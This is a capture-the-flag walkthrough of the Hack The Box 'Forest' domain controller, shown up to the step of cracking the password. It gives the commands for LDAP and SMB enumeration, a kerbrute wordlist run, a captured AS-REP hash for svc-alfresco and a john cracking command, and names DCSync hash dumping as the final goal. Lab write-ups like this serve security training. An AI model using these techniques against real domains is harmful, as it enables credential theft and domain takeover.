Forest 10.10.10.161

Defenders think in lists. Attackers think in graphs. As long as this is true, attackers win. <John Lambert>

Background

Forest is an "Easy" difficulty Windows machine. It is a Windows Domain Controller (DC) and installed an Exchange server, it requires the DC enumeration technique and Kerberos knowledge.

Anonymous LDAP can be used to access the DC server and enumerate domain objects. A service account was found in which the Kerberos pre-authentication disabled, it can be cracked to gain the initial access. This service was a member of the "Account Operators" group, which can be used to create a privileged Exchange account.

Finally, this privileged account was leveraged to gain DCSync privileges on the domain and dump the NTLM hashes.

Penetrating Methodology:

Service Scanning

Nmap

Enumeration

Kerberos
SMB: smbclient, smbmap, enum4linux
Ldap: ldapsearch
NTLM: impacket/GetNPUsers

Exploitation

Password Crack: John
SMB connection: impacket/smbexec

Getting Less Privilege Shell

Evil-winrm.rb
Check vulnerability: sherlock.ps1
secretsdump

Walkthrough:

Target machine: 10.10.10.161

Attacking (Hacker) machine: 10.10.14.18

Hacking Process Part 0 – Service Scanning

The target machine IP is 10.10.10.161. Get a basic understanding the available services of the target machine using nmap aggressive scanning to all available ports.

0.1) Quick Pre-searching

nmap 10.10.10.161, quick scan to get the opened port list

0.2) Details Analysis

nmap -p 22,80,443 -A -o nmap-forest.txt 10.10.10.161

Enumeration strategies

LDAP - Port 389
SMB - Port 135
Kerberos - Port 88

Hacking Process Part 1 – Enumeration

enum4linux 10.10.10.161, get the basic information of the target machine

1.1) Strategy 1 Check port 389 LDAP Enumeration

nmap -p 389 --script ldap-rootdse 10.10.10.161

ldapsearch -x -h 10.10.10.161 -b "DC=htb,DC=local"

Keep this information for later use

Domain: HTB with the following user

HTB\sebastien
HTB\lucinda
HTB\svc-alfresco
HTB\andy
HTB\mark
HTB\santi

1.2) Strategy 2 - Check SMB

Anonymous SMB login does not allow, SMB service does not available if no user credential

smbclient -I 10.10.10.161 -L andy

smbmap -R Replication -H 10.10.10.161

1.4) Strategy 3 Kerberos

Using the kerbrute to evaluate those user accounts found at above

../../../tools/win/kerbrute/kerbrute.py -domain htb.local -users ./user.list -passwords /usr/share/wordlists/rockyou.txt -outputfile forest_passwords.txt

It finds that the svc-alfresco account is “not preauth” account. Try to get the TGT using getNPUsers

Add the 10.10.10.161 to hosts file for the htb.local and try again

Cracking AS-REP Hashes with HashCat/John

$krb5asrep$23$svc-alfresco@HTB.LOCAL:3ce79e32b438b810950ea097f50ccedf$63b3f13f672cc9d483230b4c28ea26ff574bd9906b92cd5193d8496b2059ba20d009e50f7f3eed3d5440709e3b45b949ae456f27dd61b58c4e81a70e60c41adf75af3615acdd655455daa8023a9e931e91078e72db14241e8670375052ea5e13d817f328ffc19ca80873b736892fc1b65127d2f3f852eb11cb5749b46bad8fe49349352f9b5995f26f5cd24ea13d446710004a7cd86177206b638cff8f791a8df3a3c3a059c9087a99f18c9f5b21445a306d3695aed15377b3380b4c8b3e431bcf59afedabedf890d4457c38f193d750052f952e0ea746a16e6014615b4afe1fd4a4335fa14d

john --wordlist=/usr/share/wordlists/rockyou.txt alfresco.tgt